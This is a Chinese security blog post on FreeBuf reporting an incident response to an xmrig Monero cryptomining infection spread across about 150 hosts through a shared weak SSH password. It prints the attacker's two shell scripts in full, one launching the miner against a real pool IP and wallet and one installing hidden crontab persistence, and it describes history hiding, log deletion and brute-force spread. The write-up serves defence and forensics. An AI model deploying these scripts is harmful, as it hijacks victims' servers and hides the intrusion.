freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

xmirg挖矿病毒应急事件
2023-03-28 16:42:45
所属地 河南省

一、起因

客户发现一台高性能服务器变得非常卡,查看后发现一个名为syst3md的进程跑满了系统资源,第二天的时候,发现另一台服务器同样跑着一个syst3md进程。

二、应急过程

查找病毒

  1. 先使用history查看历史操作记录,发现历史命令没问题,但是在某段时间执行了set +o history隐藏了操作记录。
  2. 使用export HISTTIMEFORMAT='%F %T '显示历史记录的时间,判断出大约什么时候执行该命令。

(没有截图,用网图做例子)

1679992245_6422a5b597d0886d1cb93.png!small?1679992245081

  1. 查看/var/log/secure/var/log/btmp/var/log/lastlog,发现这三个文件都提示不存在,已经被人手动删除。
  2. 查看可以登录系统的用户:cat /etc/passwd | grep -v /sbin/nologin | cut -d : -f 1,发现存在一个名字为x的用户,询问客户以后判定该账户为攻击者创建。
  3. 查看计划任务:crontab -l,列出了一个异常路径:/var/tmp/.../
  4. 查看目录下有三个文件:1、run、syst3md

1679992262_6422a5c623bebcaaed3bc.png!small?1679992261540

  1. 查看文件内容

1:

#!/bin/bash
#made by Maz4id#1363
locatie=$(cat /var/tmp/.SQL1/.local)

if ! pgrep -x syst3md >/dev/null; then
	$locatie/./syst3md -o 52.77.129.137:443 -u 45ddrgT29vNJ1UZTVkgZDHGJdZyEpYye92SgdaV2G2di6xgRXCcFwUFLFkn3EoyDWSKkj9nkE5ogYGpVrAy8j19qRCoPNb3 --donate-level 1 -p micro40 > /dev/null 2>&1 & disown $*
else
	:
fi

run:

#!/bin/bash
#made by Maz4id#1363
if [ $# != 1 ]; then
        echo " usage: $0 > /dev/null 2>&1 & disown"
fi

locatie=$(cat /var/tmp/.SQL1/.local)
if [ -f /var/tmp/.SQL1/.local ]; then
	:
else
	if [ -d /var/tmp/.SQL1 ]; then
		echo $(pwd) > /var/tmp/.SQL1/.local
	else
		mkdir /var/tmp/.SQL1
		echo $(pwd) > /var/tmp/.SQL1/.local
	fi
fi

crontabcalumea() {
	if ! crontab -l | grep -q 'run'; then
		rm -rf $(cat /var/tmp/.SQL1/.local)/.tempo
		echo "@daily $(cat /var/tmp/.SQL1/.local)/1" >> $(cat /var/tmp/.SQL1/.local)/.tempo
		sleep 1
		echo "@reboot $(cat /var/tmp/.SQL1/.local)/run > /dev/null 2>&1 & disown" >> $(cat /var/tmp/.SQL1/.local)/.tempo
		sleep 1
		echo "@monthly $(cat /var/tmp/.SQL1/.local)/run  > /dev/null 2>&1 & disown" >> $(cat /var/tmp/.SQL1/.local)/.tempo
		sleep 1
		crontab $(cat /var/tmp/.SQL1/.local)/.tempo
		sleep 1
		rm -rf $(cat /var/tmp/.SQL1/.local)/.tempo
	fi
}


sleep 5
while :
do
$(cat /var/tmp/.SQL1/.local)/1
crontabcalumea
sleep 5
done

syst3md为病毒文件,其中存在大量乱码影响阅读

1679992303_6422a5ef9aadbb52dfe9b.png!small?1679992303010

  1. 查看这三个文件的创建日期,发现与隐藏命令的日期相差不久,基本确认攻击者操作时间。
  2. 尝试删除文件,只能删除掉病毒文件,两个启动项还是会出现,需要先关闭启动项进程再删除。

是否横向

  1. 防火墙查看事件,未发现外连、爆破等行为
  2. IPS上发现大量被阻断的挖矿告警,找一台与之前主机同一C段的主机B登录,查看日志发现已沦陷主机在进行登录,都是登录失败,且时间间隔极短,一秒内多次登录失败,判断此时在进行弱口令扫描。
  3. 查看history,发现攻击者执行wget命令下载病毒文件,然后运行run、syst3md
  4. 再登录一台主机C查看,历史命令与主机B一样,主机B与主机C的ssh密码均为弱口令。
  5. 询问运维人员得到结果,有几十到两百台不等的主机,都在使用同一个弱口令。由于告警机器过多,无法判断具体有多少主机沦陷,保守估计一百五十台。

溯源

  1. 登录多台主机,查看history后,发现都是主机A在进行爆破,或者从主机A直接发起登录请求,判断攻击者从该主机进入内网。
  2. 看攻击者怎么进入内网。安全设备近期刚部署,部署以后就存在挖矿告警,可以得出病毒存在时间较久。

第一次攻击:攻击者潜藏在网络中最少一个月时间,最早在2月份安全设备部署时就有多个主机存在挖矿告警,于此时攻击者获得了进入内网的方法与一部分主机的通用密码,并传播挖矿病毒

第二次攻击:于3月份进入主机A,上传挖矿木马(门罗币)+建立自启动任务,主机A上无面向互联网的服务,判断攻击者通过VPN账号登录进入内网,由于知道主机A密码的人数众多,无法判断怎么泄露的。(不排除内鬼)

三、处置方法

  1. 删除木马:查看root用户计划任务cat /var/spool/cron/root,或者crontab -l,在计划任务出现的路径下会存在三个文件:1、run、syst3md,将这三个文件删除:sudo rm -rf 1 run syst3md
  2. 杀掉syst3md、与/bin/bash ./run进程;killall -9 syst3mdkillall -9 /bin/bash ./run
  3. 删除计划任务:sudo crontab -r。删除计划任务后等待半分钟再使用crontab -l查看,如果计划任务重新出现,或第二步未能关掉自启动进程,建议删除计划任务的同时重启crontab -r&&shutdown -r now
  4. 修改全部主机密码,禁止使用弱口令

恶意进程示例:

1679992338_6422a612c76936c8cb550.png!small?16799923382271679992348_6422a61cdc494c2e9c5a7.png!small?1679992348339

四、总结

  1. 严禁使用弱口令,不允许多个内网主机使用同一密码。
  2. 安全设备上架后要有人看,设备告警一个月都没人管,也就是黑客不知道账号,不然他给防火墙关了都没人知道。

参考链接:

https://zhuanlan.zhihu.com/p/429566291

# 安全应急响应 # 门罗币挖矿木马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录